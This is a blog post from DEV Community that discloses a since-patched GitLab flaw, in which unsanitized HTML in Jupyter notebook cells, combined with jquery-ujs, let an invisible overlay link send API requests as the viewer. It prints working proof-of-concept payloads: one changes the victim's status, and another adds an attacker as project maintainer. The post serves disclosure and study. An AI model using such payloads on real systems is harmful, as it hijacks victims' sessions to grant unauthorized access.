DEV Community

Daniel Fürst
Daniel Fürst

Posted on • Edited on • Originally published at liman.io

Security Vulnerability in GitLab: Sending Arbitrary Requests through Jupyter Notebooks

GitLab is a DevOps platform that supports millions of users in managing their software development process. As part of this, GitLab also supports data scientists with features like the rich representation of Jupyter notebooks:

Image taken from the GitLab documentation.

Image taken from the GitLab documentation.

Jupyter Notebooks

Through their web-based interactive development environment, Jupyter notebooks allow easily sharing workflows for data science or computational journalism.

Different programming languages such as Python can be used to define these workflows by combining smaller units, so-called cells. In addition to programming languages, these cells can also display HTML.

Although the rich representation of Jupyter notebooks in GitLab is more limited than in tools like nbviewer, cells with HTML are still rendered on GitLab.

Exploiting Rich Representation of Jupyter Notebooks in GitLab

While browsing through existing GitLab vulnerabilities on HackerOne, I noticed that the rich representation of OpenAPI specifications was once subject to a stored XSS vulnerability. This made me curious whether this type of vulnerability could also apply to other rich representations in GitLab. So I started fiddling with the Jupyter notebook viewer of GitLab and was rewarded!

The vulnerability that I discovered, exploits a lack of sanitization in the output of GitLab's Jupyter notebook viewer and uses jquery-ujs, an npm package used in GitLab, as a gadget.

Lack of Sanitization in Jupyter Notebook Rendering

Storing the following Jupyter notebook as payload in GitLab:

{
  "cells": [
    {
      "metadata": {},
      "cell_type": "markdown",
      "source": ["<a data-method=\"put\" data-params=\"message=p0wn3d\" data-remote=\"true\" href=\"/api/v4/user/status\" style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" />"]
    }
  ],
  "metadata": {
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3",
      "language": "python"
    },
    "language_info": {
      "name": "python",
      "version": "3.6.10",
      "mimetype": "text/x-python",
      "codemirror_mode": {
        "name": "ipython",
        "version": 3
      },
      "pygments_lexer": "ipython3",
      "nbconvert_exporter": "python",
      "file_extension": ".py"
    }
  },
  "nbformat": 4,
  "nbformat_minor": 2
}
Enter fullscreen mode Exit fullscreen mode

outputs the contained HTML without sanitization:

<a
  data-method="put"
  data-params="message=p0wn3d"
  data-remote="true"
  href="/api/v4/user/status"
  style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
Enter fullscreen mode Exit fullscreen mode

While this is just an invisible link, the styling creates a layer on top of the Jupyter notebook viewer that triggers the link upon the first click of the user.

Using jquery-ujs to Send HTTP Requests

The lack of sanitization for the HTML is not a vulnerability in itself, though. The rendered data-* attributes only become a vulnerability in combination with jquery-ujs which was used by GitLab at the time of discovering this vulnerability. The npm package allows to make HTTP requests from links, i.e., <a> HTML elements using data-* attributes.

The exemplary payload from above specifies that we want to craft an asynchronous (i.e., data-remote="true") PUT request (i.e., data-method="put") to https://gitlab.com/api/v4/user/status (i.e., href="/api/v4/user/status") with the parameter {'message': 'p0wn3d'} (i.e., data-params="message=p0wn3d"). That is, we want to change the status of the victim's profile to p0wn3d.

Impact

While changing the victim's status has a limited impact, impersonating a victim in the face of GitLab's API can be very harmful. As such, consider the following payload which would cause a victim to name the attacker as maintainer on a desired project:

<a
  data-method="put"
  data-params="user_id=<ATTACKER_ID>&access_level=40"
  data-remote="true"
  data-url="/api/v4/projects/<PROJECT_ID>/members"
  style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
Enter fullscreen mode Exit fullscreen mode

where <ATTACKER_ID> would be the attacker's user ID on GitLab and <PROJECT_ID> would be the ID of the GitLab project to gain access to.

Timeline

I responsibly disclosed this vulnerability through GitLab's bug bounty program on HackerOne:

  • [2020-08-30] Reported the vulnerability to GitLab
  • [2020-08-31] Updated the report with simplification of exploit
  • [2020-09-02] Updated the report with a follow-up of technical details
  • [2020-09-07] GitLab verified the vulnerability
  • [2021-09-21] GitLab shipped a fix for the vulnerability with version 14.3

Top comments (0)